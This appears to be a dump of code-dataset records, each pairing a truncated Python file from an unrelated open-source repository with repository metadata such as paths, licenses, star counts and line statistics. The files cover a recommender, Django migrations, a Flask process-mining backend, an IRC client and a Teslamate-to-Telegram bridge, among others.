# !/usr/bin/env python3 # -*- coding: utf-8 -*- from recomendacao import distanciaEuclidiana def getSimilares(base, usuario): similaridade = [ (distanciaEuclidiana(base, usuario, outro), outro) for outro in base if outro != usuario ] similaridade.sort() similaridade.reverse() return similaridade[0:26...
26.75
54
0.713396
0
0
0
0
0
0
0
0
46
0.143302
170797e30318807565bf34dfbae672930f4e5609
439
py
Python
backend/migrations/0011_prefix_occurrences.py
ad-freiburg/qleverUI
105ef23447eb691a5da8a4c92be3b4150aac72c6
[ "Apache-2.0" ]
4
2021-10-09T20:36:33.000Z
2022-02-12T09:19:17.000Z
backend/migrations/0011_prefix_occurrences.py
ad-freiburg/qleverUI
105ef23447eb691a5da8a4c92be3b4150aac72c6
[ "Apache-2.0" ]
29
2019-09-01T08:48:12.000Z
2021-06-01T15:57:24.000Z
backend/migrations/0011_prefix_occurrences.py
ad-freiburg/qleverUI
105ef23447eb691a5da8a4c92be3b4150aac72c6
[ "Apache-2.0" ]
4
2019-01-04T19:44:55.000Z
2020-12-05T03:40:42.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2017-10-28 11:01 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('backend', '0010_prefix'), ] operations = [ migrations.AddField( m...
20.904762
49
0.6082
283
0.644647
0
0
0
0
0
0
112
0.255125
1708b50e51dd839f95011d63cd587ab6817e6ebc
12,540
py
Python
program/compare.py
rabo452/python-gui
ab0be8626d148c746c29cd362d342485c14c09ae
[ "MIT" ]
null
null
null
program/compare.py
rabo452/python-gui
ab0be8626d148c746c29cd362d342485c14c09ae
[ "MIT" ]
null
null
null
program/compare.py
rabo452/python-gui
ab0be8626d148c746c29cd362d342485c14c09ae
[ "MIT" ]
null
null
null
import requests import pytube import os from bs4 import BeautifulSoup as bs from moviepy.video.io.VideoFileClip import VideoFileClip from youtube_transcript_api import YouTubeTranscriptApi this_module = __import__(__name__) #compare two or more different videos to find the same parts and download it #for 1 ma...
54.051724
222
0.58134
12,044
0.960447
0
0
0
0
0
0
2,087
0.166427
ca02d3451b5a0539ec40cd600dd5837fcf09dd42
35,162
py
Python
tracker/tracker.py
matthewmckenna/tvst
0c673a118c09231839d0960c59e566cb7963e0d6
[ "MIT" ]
null
null
null
tracker/tracker.py
matthewmckenna/tvst
0c673a118c09231839d0960c59e566cb7963e0d6
[ "MIT" ]
null
null
null
tracker/tracker.py
matthewmckenna/tvst
0c673a118c09231839d0960c59e566cb7963e0d6
[ "MIT" ]
null
null
null
#!/usr/env/bin python3 """ Utility to keep track of TV shows """ import argparse import collections # import datetime import json import logging import os # import re from Queue import Queue # Python 3 only! module is queue in Python 2 import sys import threading import requests from .exceptions import ( APIRequ...
32.082117
94
0.615608
20,029
0.569621
97
0.002759
0
0
0
0
11,346
0.322678
ca02dcd616277e3b385bdfc3b02db8570bac7008
3,573
py
Python
pycsp/common/toolkit.py
Erhannis/pycsp
7b06b4d90a73ed84f60d4321ae66fbbf4ebab039
[ "MIT" ]
38
2016-04-18T08:39:23.000Z
2021-12-23T01:49:09.000Z
pycsp/common/toolkit.py
Erhannis/pycsp
7b06b4d90a73ed84f60d4321ae66fbbf4ebab039
[ "MIT" ]
8
2016-04-05T14:28:43.000Z
2021-01-21T02:15:19.000Z
pycsp/common/toolkit.py
Erhannis/pycsp
7b06b4d90a73ed84f60d4321ae66fbbf4ebab039
[ "MIT" ]
10
2015-12-11T14:43:11.000Z
2022-01-04T08:48:35.000Z
""" Toolkit module Copyright (c) 2009 John Markus Bjoerndalen <jmb@cs.uit.no>, Brian Vinter <vinter@nbi.dk>, Rune M. Friborg <rune.m.friborg@gmail.com>. See LICENSE.txt for licensing details (MIT License). """ from pycsp.common.six import string_types import pycsp.current as pycsp if pycsp.trace: from py...
25.161972
94
0.52365
0
0
0
0
3,007
0.84159
0
0
260
0.072768
ca03ea5c45820906810f2328be060ad7a4688584
6,011
py
Python
patron/aem/op_map/neutron_op_map.py
casbin/openstack-patron
b41b1262f3a52c8cc9f6b6bdf87be5a1abcf6d25
[ "Apache-2.0" ]
null
null
null
patron/aem/op_map/neutron_op_map.py
casbin/openstack-patron
b41b1262f3a52c8cc9f6b6bdf87be5a1abcf6d25
[ "Apache-2.0" ]
null
null
null
patron/aem/op_map/neutron_op_map.py
casbin/openstack-patron
b41b1262f3a52c8cc9f6b6bdf87be5a1abcf6d25
[ "Apache-2.0" ]
null
null
null
# op map for neutron. op_map = \ {(9696, '/v2.0', '/agents', 'GET', ''): (), (9696, '/v2.0', '/agents/%UUID%', 'GET', ''): ('get_agent',), (9696, '/v2.0', '/agents/%UUID%', 'PUT', ''): ('update_agent',), (9696, '/v2.0', '/agents/%UUID%/dhcp-networks', 'GET', ''): ('get_dhcp-networks',), (9696, '/v2.0', '/agents/%U...
63.273684
100
0.497255
0
0
0
0
0
0
0
0
3,954
0.657794
ca04f9a8a801295befff11b7f19b734494ae70d1
2,178
py
Python
tests/test_daemon.py
aewens/revoko
dd44afdf97524eb4ab2a8a240b0bc10b6f859d38
[ "Apache-2.0" ]
null
null
null
tests/test_daemon.py
aewens/revoko
dd44afdf97524eb4ab2a8a240b0bc10b6f859d38
[ "Apache-2.0" ]
null
null
null
tests/test_daemon.py
aewens/revoko
dd44afdf97524eb4ab2a8a240b0bc10b6f859d38
[ "Apache-2.0" ]
null
null
null
from .context import daemon from pathlib import Path from argparse import Namespace args = Namespace(timeout=3 * 60, no_scripts=False, no_updates=False, kill=[], kill_all=True) def test_eprint(): assert daemon.eprint("Hello, world!") is None, "eprint returned something" def test_shell_run_pass(): result...
35.129032
78
0.714876
0
0
0
0
0
0
0
0
607
0.278696
ca04ff4c503789e9653ebd021754a4374c36aaf9
22,428
py
Python
api/backend.py
DataCloud-project/DIS-PIPE-Discovery---Visualization
60fce163da330f09f90ca031f153ed07bb80f87a
[ "Apache-2.0" ]
2
2022-02-28T01:56:03.000Z
2022-03-02T21:06:35.000Z
api/backend.py
DataCloud-project/DIS-PIPE-Discovery---Visualization
60fce163da330f09f90ca031f153ed07bb80f87a
[ "Apache-2.0" ]
null
null
null
api/backend.py
DataCloud-project/DIS-PIPE-Discovery---Visualization
60fce163da330f09f90ca031f153ed07bb80f87a
[ "Apache-2.0" ]
1
2022-02-22T10:30:21.000Z
2022-02-22T10:30:21.000Z
import flask from flask import request, jsonify, render_template import os import requests IMAGE_FOLDER = os.path.join('static', 'images') app = flask.Flask(__name__) app.config["DEBUG"] = True app.config['UPLOAD_FOLDER'] = IMAGE_FOLDER from graphviz import Digraph #import file xes from pm4py.object...
39.41652
148
0.598716
0
0
0
0
7,418
0.330747
0
0
11,207
0.499688
ca05057b6f48797cfc259e18cdcc1c4ca53c5260
19,898
py
Python
veroviz/_params.py
INFORMSJoC/2020.0340
9536a35b9607266ad95799cbb7e59c9451aaa6ea
[ "MIT" ]
1
2022-03-28T09:56:53.000Z
2022-03-28T09:56:53.000Z
veroviz/_params.py
INFORMSJoC/2020.0340
9536a35b9607266ad95799cbb7e59c9451aaa6ea
[ "MIT" ]
null
null
null
veroviz/_params.py
INFORMSJoC/2020.0340
9536a35b9607266ad95799cbb7e59c9451aaa6ea
[ "MIT" ]
1
2021-10-30T05:01:49.000Z
2021-10-30T05:01:49.000Z
# Copyright (c) 2021 Lan Peng and Chase Murray # Licensed under the MIT License. See LICENSING for details. # Const for distance unit changing VRV_CONST_METERS_PER_KILOMETER = 1000.0 VRV_CONST_METERS_PER_MILE = 1609.34 VRV_CONST_METERS_PER_YARD = 0.9144 VRV_CONST_METERS_PER_FEET = 0.3048 VRV_CONST_METERS_PER_NAUTICAL_...
23.299766
87
0.626746
0
0
0
0
0
0
0
0
14,167
0.711981
ca0785af7063963b58fdaae8f471025888b8b46f
1,361
py
Python
src/xSACdb/roles/decorators.py
minyiky/xSACdb
8c407e9a9da196750a66ad53613ad67c8c56e1c3
[ "MIT" ]
2
2017-08-14T14:40:17.000Z
2019-02-07T13:10:23.000Z
src/xSACdb/roles/decorators.py
minyiky/xSACdb
8c407e9a9da196750a66ad53613ad67c8c56e1c3
[ "MIT" ]
19
2016-02-07T18:02:53.000Z
2019-11-03T17:48:13.000Z
src/xSACdb/roles/decorators.py
minyiky/xSACdb
8c407e9a9da196750a66ad53613ad67c8c56e1c3
[ "MIT" ]
4
2015-10-19T17:24:35.000Z
2021-05-12T07:30:32.000Z
from django.core.exceptions import PermissionDenied from .functions import * class require_group: def __init__(self, f): self.f=f def is_allowed(self,user): return False def __call__(self,request, *args, **kwargs): if self.is_allowed(request.user): return self.f(reque...
28.354167
51
0.714181
1,268
0.931668
0
0
0
0
0
0
0
0
ca08a41e4121d749dc35922571ea21c079fb53a8
6,229
py
Python
adaptation.py
yxtj/VideoServing
52d1c1c97021f11cc4d77c181ac1144fe3a789ce
[ "MIT" ]
null
null
null
adaptation.py
yxtj/VideoServing
52d1c1c97021f11cc4d77c181ac1144fe3a789ce
[ "MIT" ]
null
null
null
adaptation.py
yxtj/VideoServing
52d1c1c97021f11cc4d77c181ac1144fe3a789ce
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from common import Configuration import numpy as np import torch import torch.nn as nn #Configuration = namedtuple('Configuration', ['fps', 'rsl']) def acc2index(accuracies, thresholds): return np.digitize(accuracies, thresholds) class Adapter(): def __init__(self, dim_feat=None, di...
34.225275
81
0.587735
5,522
0.886499
0
0
0
0
0
0
997
0.160058
ca097708767493554637834ada6bf578f67bee1f
6,538
py
Python
teslamateMqttToTelegram.py
carloscuezva/Teslamate-Telegram
f33843735011a94221b279028af66a7f09c92176
[ "MIT" ]
1
2021-11-01T11:38:52.000Z
2021-11-01T11:38:52.000Z
teslamateMqttToTelegram.py
carloscuezva/Teslamate-Telegram
f33843735011a94221b279028af66a7f09c92176
[ "MIT" ]
null
null
null
teslamateMqttToTelegram.py
carloscuezva/Teslamate-Telegram
f33843735011a94221b279028af66a7f09c92176
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import paho.mqtt.client as mqtt import requests import sys from time import sleep import config as conf import logging import logging.handlers data = { "sent_resumen": 0, "display_name": "", "state": "", "software_current_version": "", "software_new_version": "", "batte...
29.1875
191
0.563475
0
0
0
0
0
0
0
0
2,021
0.305888
ca099560fca77e06dcd73b0fa036c9138dea0681
9,323
py
Python
examples/utils.py
CarbonEdge2021/SBTi-finance-tool
a5dbf1c200a9e80913c34251a918363a054dcb61
[ "MIT" ]
26
2020-07-24T14:49:24.000Z
2021-10-13T10:04:52.000Z
examples/utils.py
CarbonEdge2021/SBTi-finance-tool
a5dbf1c200a9e80913c34251a918363a054dcb61
[ "MIT" ]
128
2020-07-27T08:48:27.000Z
2021-09-25T11:35:22.000Z
examples/utils.py
CarbonEdge2021/SBTi-finance-tool
a5dbf1c200a9e80913c34251a918363a054dcb61
[ "MIT" ]
15
2020-07-31T14:47:07.000Z
2021-07-26T19:33:07.000Z
import pandas as pd import numpy as np import copy as copy import random def print_aggregations(aggregations): aggregations = aggregations.dict() print("{:<10s} {:<10s} {}".format('Timeframe', 'Scope', 'Temp score')) for time_frame, time_frame_values in aggregations.items(): if time_frame_values: ...
49.590426
159
0.696342
0
0
0
0
0
0
0
0
1,479
0.15864
ca0c63dc19f3b2e160b70ca4788264e5f2ce3527
3,635
py
Python
powerapi/database/socket_db.py
EmileCadorel/powerapi
588413fe8f8369d02084bd7adff1d610273a4b9f
[ "BSD-3-Clause" ]
null
null
null
powerapi/database/socket_db.py
EmileCadorel/powerapi
588413fe8f8369d02084bd7adff1d610273a4b9f
[ "BSD-3-Clause" ]
null
null
null
powerapi/database/socket_db.py
EmileCadorel/powerapi
588413fe8f8369d02084bd7adff1d610273a4b9f
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2018, INRIA # Copyright (c) 2018, University of Lille # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, t...
34.292453
110
0.680605
1,845
0.507565
0
0
0
0
1,048
0.288308
1,854
0.510041
ca0e9eae2f2dcbbc14156259172bfc053e00d20b
1,300
py
Python
sites/income/models.py
cmwaura/Final_Red_Scrap
6b1b78de7d1129cda787e9f4688ddd409af39eb5
[ "MIT" ]
null
null
null
sites/income/models.py
cmwaura/Final_Red_Scrap
6b1b78de7d1129cda787e9f4688ddd409af39eb5
[ "MIT" ]
null
null
null
sites/income/models.py
cmwaura/Final_Red_Scrap
6b1b78de7d1129cda787e9f4688ddd409af39eb5
[ "MIT" ]
null
null
null
from __future__ import unicode_literals from django.db import models from django.db.models.signals import pre_delete from scrapy_djangoitem import DjangoItem from dynamic_scraper.models import Scraper, SchedulerRuntime from django.dispatch import receiver # Create your models here. class IncomeWebsite(models.Model): ...
28.26087
105
0.806923
668
0.513846
0
0
296
0.227692
0
0
26
0.02
ca0f63b4a43243ecb4df571525f505c8439bcd64
1,699
py
Python
tabcmd/commands/user/remove_users_command.py
WillAyd/tabcmd
1ba4a6ce1586b5ec4286aca0edff0fbaa1c69f15
[ "MIT" ]
null
null
null
tabcmd/commands/user/remove_users_command.py
WillAyd/tabcmd
1ba4a6ce1586b5ec4286aca0edff0fbaa1c69f15
[ "MIT" ]
null
null
null
tabcmd/commands/user/remove_users_command.py
WillAyd/tabcmd
1ba4a6ce1586b5ec4286aca0edff0fbaa1c69f15
[ "MIT" ]
null
null
null
from tabcmd.parsers.remove_users_parser import RemoveUserParser from .user_command import UserCommand import tableauserverclient as TSC from tabcmd.execution.logger_config import log from ..auth.session import Session class RemoveUserCommand(UserCommand): """ Command to remove users from the specified group ...
40.452381
107
0.638611
1,478
0.869923
0
0
1,360
0.800471
0
0
291
0.171277
ca0fe4b6afa0274c9433d3fa01c0567fab4f5a2c
5,896
py
Python
src/data/collect_follow_list.py
puevigreven/made_with_ml_incubator_project
f726e6506428774d8bf1c2cd3d31f2f94386b5e5
[ "MIT" ]
null
null
null
src/data/collect_follow_list.py
puevigreven/made_with_ml_incubator_project
f726e6506428774d8bf1c2cd3d31f2f94386b5e5
[ "MIT" ]
4
2021-06-08T22:07:31.000Z
2022-03-12T00:43:11.000Z
src/data/collect_follow_list.py
puevigreven/made_with_ml_incubator_project
f726e6506428774d8bf1c2cd3d31f2f94386b5e5
[ "MIT" ]
null
null
null
import json import logging import os import subprocess import time from concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor from functools import partial from os import listdir from os.path import isfile, join import nest_asyncio import pandas as pd import src.log_config as log_config import twint nest...
34.682353
105
0.58192
5,272
0.894166
0
0
0
0
0
0
1,072
0.181818
ca1029b7a53eaca7b173f233726d151ed4e3e4bb
287
py
Python
src/ssadmin/tests.py
daimon99/ssadmin
9a1470712bdca5b0db17895d4c8215555d6b1b04
[ "MIT" ]
null
null
null
src/ssadmin/tests.py
daimon99/ssadmin
9a1470712bdca5b0db17895d4c8215555d6b1b04
[ "MIT" ]
null
null
null
src/ssadmin/tests.py
daimon99/ssadmin
9a1470712bdca5b0db17895d4c8215555d6b1b04
[ "MIT" ]
null
null
null
# coding: utf8 # Create your tests here. from django.test.testcases import SimpleTestCase class SSTestCase(SimpleTestCase): allow_database_queries = True def test_show_port(self): from ssadmin.services import show_port ret = show_port(10000) print ret
22.076923
48
0.721254
194
0.675958
0
0
0
0
0
0
39
0.135889
ca112008ab3c6828677b5ed0441a31de80ccd33e
3,434
py
Python
app/blueprints/orders/schemas.py
CalebM1987/orders-sqlalchemy-example
5a2210c0fce19cafa4267ae463841b3b057abac8
[ "Apache-2.0" ]
null
null
null
app/blueprints/orders/schemas.py
CalebM1987/orders-sqlalchemy-example
5a2210c0fce19cafa4267ae463841b3b057abac8
[ "Apache-2.0" ]
null
null
null
app/blueprints/orders/schemas.py
CalebM1987/orders-sqlalchemy-example
5a2210c0fce19cafa4267ae463841b3b057abac8
[ "Apache-2.0" ]
null
null
null
from marshmallow import Schema, EXCLUDE, fields, post_load import datetime from .models import * class SerializableDateTime(fields.DateTime): def _deserialize(self, value, attr, data, **kwargs): if isinstance(value, datetime.datetime): return value return super()._deserialize(value, att...
41.373494
119
0.721899
3,321
0.967094
0
0
569
0.165696
0
0
699
0.203553
ca11278032193161ac55c232cf25a8b385456e2f
2,196
py
Python
tests/unit/test_raspberry_pi_monitor.py
Kami/scalyr-agent-2-monitors
367c57cd5489a4661ca6922c1c5ffa4c3b0969d6
[ "Apache-2.0" ]
null
null
null
tests/unit/test_raspberry_pi_monitor.py
Kami/scalyr-agent-2-monitors
367c57cd5489a4661ca6922c1c5ffa4c3b0969d6
[ "Apache-2.0" ]
null
null
null
tests/unit/test_raspberry_pi_monitor.py
Kami/scalyr-agent-2-monitors
367c57cd5489a4661ca6922c1c5ffa4c3b0969d6
[ "Apache-2.0" ]
null
null
null
# Copyright 2020 Tomaz Muraus # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,...
33.784615
84
0.702186
938
0.42714
0
0
0
0
0
0
864
0.393443
ca122ad15974c3c8846065ba5622e84a28e0998f
5,271
py
Python
rally_openstack/task/scenarios/nova/server_groups.py
jogeo/rally-openstack
83437e7c5925d5d647cd28f1821b6d51687b0123
[ "Apache-2.0" ]
null
null
null
rally_openstack/task/scenarios/nova/server_groups.py
jogeo/rally-openstack
83437e7c5925d5d647cd28f1821b6d51687b0123
[ "Apache-2.0" ]
null
null
null
rally_openstack/task/scenarios/nova/server_groups.py
jogeo/rally-openstack
83437e7c5925d5d647cd28f1821b6d51687b0123
[ "Apache-2.0" ]
1
2021-08-10T03:11:51.000Z
2021-08-10T03:11:51.000Z
# Copyright 2017: Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
39.931818
78
0.642003
3,404
0.645798
0
0
4,357
0.826598
0
0
2,713
0.514703
ca12dc98ed1d3df8ddbdad5e413c00b24eb6f56d
2,696
py
Python
1_open3d/20_colored_point_cloud_registration.py
lyffly/Python-3DPointCloud-and-RGBD
b3b973ec96045a34d3540522a115c5a77f4de136
[ "Apache-2.0" ]
16
2019-10-28T01:17:09.000Z
2022-01-20T08:26:06.000Z
1_open3d/20_colored_point_cloud_registration.py
lyffly/Python-3DPointCloud-and-RGBD
b3b973ec96045a34d3540522a115c5a77f4de136
[ "Apache-2.0" ]
null
null
null
1_open3d/20_colored_point_cloud_registration.py
lyffly/Python-3DPointCloud-and-RGBD
b3b973ec96045a34d3540522a115c5a77f4de136
[ "Apache-2.0" ]
3
2020-04-07T08:48:28.000Z
2021-09-22T14:47:42.000Z
# coding = utf-8 # coding by liuyunfei # origin code from open3d samples(github) import numpy as np import open3d as op3 import matplotlib.pyplot as plt import copy import time def draw_registration_result_origin_color(source,target,transformation): source_temp = copy.deepcopy(source) source_temp.transform(t...
28.989247
82
0.673961
0
0
0
0
0
0
0
0
601
0.216343
ca13f5a2b7e69e8ead8b3416408fe4c4517f3578
167
py
Python
7KYU/get_even_numbers.py
yaznasivasai/python_codewars
25493591dde4649dc9c1ec3bece8191a3bed6818
[ "MIT" ]
4
2021-07-17T22:48:03.000Z
2022-03-25T14:10:58.000Z
7KYU/get_even_numbers.py
yaznasivasai/python_codewars
25493591dde4649dc9c1ec3bece8191a3bed6818
[ "MIT" ]
null
null
null
7KYU/get_even_numbers.py
yaznasivasai/python_codewars
25493591dde4649dc9c1ec3bece8191a3bed6818
[ "MIT" ]
3
2021-06-14T14:18:16.000Z
2022-03-16T06:02:02.000Z
from typing import List def get_even_numbers(arr: List[int]) -> List[int]: if len(arr) < 1: return [] return list(filter(lambda i: not(i % 2), arr))
20.875
50
0.610778
0
0
0
0
0
0
0
0
0
0
ca14df6be2f407c519068e98b8fe3403b1f317be
3,189
py
Python
schevo/test/test_valid_values_resolve.py
Schevo/schevo
d57a41f8b7b514ed48dc0164dcd3412a89e9873b
[ "MIT" ]
1
2020-09-05T00:47:50.000Z
2020-09-05T00:47:50.000Z
schevo/test/test_valid_values_resolve.py
Schevo/schevo
d57a41f8b7b514ed48dc0164dcd3412a89e9873b
[ "MIT" ]
null
null
null
schevo/test/test_valid_values_resolve.py
Schevo/schevo
d57a41f8b7b514ed48dc0164dcd3412a89e9873b
[ "MIT" ]
null
null
null
"""Tests for using tuples in valid_values""" # Copyright (c) 2001-2009 ElevenCraft Inc. # See LICENSE for details. from schevo.error import EntityDoesNotExist from schevo.test import CreatesSchema, raises class BaseValidValuesResolve(CreatesSchema): body = ''' class Foo(E.Entity): name = f.string...
27.491379
73
0.555033
2,877
0.902164
0
0
0
0
0
0
1,229
0.385387
ca15c2826574dbb584e7daadacf5cc2051a092bd
512
py
Python
src/sentry/web/frontend/organization_home.py
jaysoffian/sentry
80b4d3d89b8a51a0573d1aca9243255b34f0a852
[ "BSD-3-Clause" ]
null
null
null
src/sentry/web/frontend/organization_home.py
jaysoffian/sentry
80b4d3d89b8a51a0573d1aca9243255b34f0a852
[ "BSD-3-Clause" ]
null
null
null
src/sentry/web/frontend/organization_home.py
jaysoffian/sentry
80b4d3d89b8a51a0573d1aca9243255b34f0a852
[ "BSD-3-Clause" ]
null
null
null
from __future__ import absolute_import from sentry.models import Team from sentry.web.frontend.base import OrganizationView class OrganizationHomeView(OrganizationView): def get(self, request, organization): team_list = Team.objects.get_for_user( organization=organization, user=re...
25.6
69
0.666016
384
0.75
0
0
0
0
0
0
42
0.082031
ca16d21e463b54abc6a96f2de26af157f2c09dbb
325
py
Python
aaittech_cms_template/cms_apps.py
ti3r/aaittech-cms-template
57af1d243cf3c0a536f286c1403af4bc2e55afe7
[ "MIT" ]
null
null
null
aaittech_cms_template/cms_apps.py
ti3r/aaittech-cms-template
57af1d243cf3c0a536f286c1403af4bc2e55afe7
[ "MIT" ]
null
null
null
aaittech_cms_template/cms_apps.py
ti3r/aaittech-cms-template
57af1d243cf3c0a536f286c1403af4bc2e55afe7
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import unicode_literals, absolute_import from appconf import AppConf class AaItTechThemeConf(AppConf): CMS_TEMPLATES = (#Add the templates in this theme to the existing CMS_TEMPLATES setting in the application ('aaittech/fullwidth.html', 'A&A IT TECH Fullwidth'), ...
29.545455
110
0.738462
212
0.652308
0
0
0
0
0
0
160
0.492308
ca16deeed1567cf782ef50d864c2d97897036fbd
73
py
Python
snippets/python-set.py
district10/snippet-manager
bebe45a601368947168e3ee6e6ab8c1fc2ee2055
[ "MIT" ]
7
2018-08-04T09:28:19.000Z
2020-10-19T17:46:34.000Z
snippets/python-set.py
district10/snippet-manager
bebe45a601368947168e3ee6e6ab8c1fc2ee2055
[ "MIT" ]
null
null
null
snippets/python-set.py
district10/snippet-manager
bebe45a601368947168e3ee6e6ab8c1fc2ee2055
[ "MIT" ]
2
2018-07-31T04:14:55.000Z
2020-04-02T01:22:39.000Z
# python set s = set() s.add(5) s.remove(5) s2 = {2, 3, 5} s.discard(9)
9.125
14
0.547945
0
0
0
0
0
0
0
0
12
0.164384
ca18612a9923993cc12cc4b8a3f980bafef342c5
1,250
py
Python
gbst_package/gbst/metrics.py
360jinrong/GBST
227ec7b5e6e64b6b944fd23ebd40fd9fd40b0925
[ "Apache-2.0" ]
18
2020-08-11T08:52:29.000Z
2021-11-14T03:30:03.000Z
gbst_package/gbst/metrics.py
360jinrong/GBST
227ec7b5e6e64b6b944fd23ebd40fd9fd40b0925
[ "Apache-2.0" ]
null
null
null
gbst_package/gbst/metrics.py
360jinrong/GBST
227ec7b5e6e64b6b944fd23ebd40fd9fd40b0925
[ "Apache-2.0" ]
5
2020-09-14T10:58:09.000Z
2021-08-17T13:12:59.000Z
# coding: utf-8 """The interface for user-defined metrics.""" import numpy as np from sklearn.metrics import roc_auc_score def evalauc(preds, deval): """ Average AUC metric as default, but written in python. This serves as an example of implementing new metrics. Parameters ---------- preds: t...
30.487805
94
0.6168
0
0
0
0
0
0
0
0
514
0.4112
ca19de4bc8996171592064df3589d26b00d32cbf
7,561
py
Python
beta_nmf.py
rserizel/groupNMF
71d383c89348bd6fadfebce4c8d755dd2706e5dc
[ "Naumen", "Condor-1.1", "MS-PL" ]
3
2016-08-03T14:07:47.000Z
2021-01-31T03:24:23.000Z
beta_nmf.py
rserizel/groupNMF
71d383c89348bd6fadfebce4c8d755dd2706e5dc
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
beta_nmf.py
rserizel/groupNMF
71d383c89348bd6fadfebce4c8d755dd2706e5dc
[ "Naumen", "Condor-1.1", "MS-PL" ]
1
2016-03-18T05:48:09.000Z
2016-03-18T05:48:09.000Z
# -*- coding: utf-8 -*- """ beta\_nmf.py ~~~~~~~~~~~ .. topic:: Contents The beta_nmf module includes the beta\_nmf class, fit function and theano functions to compute updates and cost. Copyright 2014-2016 Romain Serizel This software is distributed under the terms of the GNU Public License version 3 (...
36.703883
78
0.470705
7,112
0.940616
0
0
0
0
0
0
2,286
0.302341
ca1a2d87e331ba4796b185ef1dd36eee4f8da2b8
28,671
py
Python
girc/client.py
ekimekim/girc
505ec0eb3c0a46adfad62383d9634fe971a430d5
[ "MIT" ]
1
2016-02-09T10:04:29.000Z
2016-02-09T10:04:29.000Z
girc/client.py
ekimekim/girc
505ec0eb3c0a46adfad62383d9634fe971a430d5
[ "MIT" ]
null
null
null
girc/client.py
ekimekim/girc
505ec0eb3c0a46adfad62383d9634fe971a430d5
[ "MIT" ]
null
null
null
import errno import json import logging import random import string import time import weakref from base64 import b64encode, b64decode import gevent.queue import gevent.pool import gevent.event import gevent.lock from gevent import socket from gevent import ssl from girc import message from girc import replycodes fr...
39.061308
123
0.725193
28,099
0.98005
0
0
7,091
0.247323
0
0
13,178
0.459628
ca1ce780c2537fe4570a13d85a070b4f4bf60790
2,108
py
Python
brightway2_conda_installer/__main__.py
haasad/brightway2-conda-installer
48f82b7c594a6a873cead22fb1e92a4441c75125
[ "BSD-3-Clause" ]
null
null
null
brightway2_conda_installer/__main__.py
haasad/brightway2-conda-installer
48f82b7c594a6a873cead22fb1e92a4441c75125
[ "BSD-3-Clause" ]
null
null
null
brightway2_conda_installer/__main__.py
haasad/brightway2-conda-installer
48f82b7c594a6a873cead22fb1e92a4441c75125
[ "BSD-3-Clause" ]
null
null
null
import sys import subprocess import tempfile if not ('continuum' in sys.version.lower() or 'conda' in sys.version.lower()): raise RuntimeError('This script needs to be executed with the anaconda python distribution.') def create_new_brightway2_env(): name_str = 'name: {}\n' channels_str = "channels:\n\t- default...
30.114286
96
0.509013
0
0
0
0
0
0
0
0
693
0.328748
ca1e1da567e34617d96f66de20f0e664963aa431
92
py
Python
tftf/__init__.py
yusugomori/tftf
e98b9ddffdbaa1fe04320437a47f12f3182ab6f3
[ "Apache-2.0" ]
35
2018-08-11T05:01:41.000Z
2021-01-29T02:28:47.000Z
tftf/__init__.py
yusugomori/tftf
e98b9ddffdbaa1fe04320437a47f12f3182ab6f3
[ "Apache-2.0" ]
null
null
null
tftf/__init__.py
yusugomori/tftf
e98b9ddffdbaa1fe04320437a47f12f3182ab6f3
[ "Apache-2.0" ]
4
2018-10-19T14:12:04.000Z
2021-01-29T02:28:49.000Z
from .datasets import * from .layers import * from .models import * __version__ = '0.0.29'
15.333333
23
0.706522
0
0
0
0
0
0
0
0
8
0.086957
ca209532982dc6f81d2d8ee667b5d258d0912676
38
py
Python
validator/bin/run.py
acmiyaguchi/mozschema-validator
04d265bb9359107580f8726bce5102b14a68f156
[ "MIT" ]
null
null
null
validator/bin/run.py
acmiyaguchi/mozschema-validator
04d265bb9359107580f8726bce5102b14a68f156
[ "MIT" ]
2
2018-04-13T20:54:16.000Z
2018-05-01T01:11:32.000Z
validator/bin/run.py
acmiyaguchi/schema-validator
04d265bb9359107580f8726bce5102b14a68f156
[ "MIT" ]
null
null
null
from validator import app app.main()
9.5
25
0.763158
0
0
0
0
0
0
0
0
0
0
ca210c8b8bd1e28df8213ce6fb3cae882fc18129
2,593
py
Python
evd_ros_backend/evd_ros_core/src/evd_sim/pose_interpolator.py
Wisc-HCI/CoFrame
7a54344248d80cb316d36aabd40bbd3cdbbc07eb
[ "MIT" ]
null
null
null
evd_ros_backend/evd_ros_core/src/evd_sim/pose_interpolator.py
Wisc-HCI/CoFrame
7a54344248d80cb316d36aabd40bbd3cdbbc07eb
[ "MIT" ]
null
null
null
evd_ros_backend/evd_ros_core/src/evd_sim/pose_interpolator.py
Wisc-HCI/CoFrame
7a54344248d80cb316d36aabd40bbd3cdbbc07eb
[ "MIT" ]
null
null
null
from geometry_msgs.msg import Pose from scipy.interpolate import interp1d from pyquaternion import Quaternion class PoseInterpolator: def __init__(self, poseStart, poseEnd, velocity, minTime=1): ''' param: poseStart is starting pose (that robot should already be at) param: poseEnd is tar...
31.621951
142
0.615889
2,480
0.956421
0
0
255
0.098342
0
0
379
0.146163
ca2351ab88cb240b18baff7cac53a685ea432501
895
py
Python
rllib/environment/vectorized/__init__.py
shenao-zhang/DCPU
0da9aa2b7878b54ba4ee4dca894c2e86cdc0d559
[ "MIT" ]
8
2020-10-23T07:52:19.000Z
2022-03-06T13:35:12.000Z
rllib/environment/vectorized/__init__.py
shenao-zhang/DCPU
0da9aa2b7878b54ba4ee4dca894c2e86cdc0d559
[ "MIT" ]
3
2021-03-04T13:44:01.000Z
2021-03-23T09:57:50.000Z
rllib/environment/vectorized/__init__.py
shenao-zhang/DCPU
0da9aa2b7878b54ba4ee4dca894c2e86cdc0d559
[ "MIT" ]
3
2021-03-18T08:23:56.000Z
2021-07-06T11:20:12.000Z
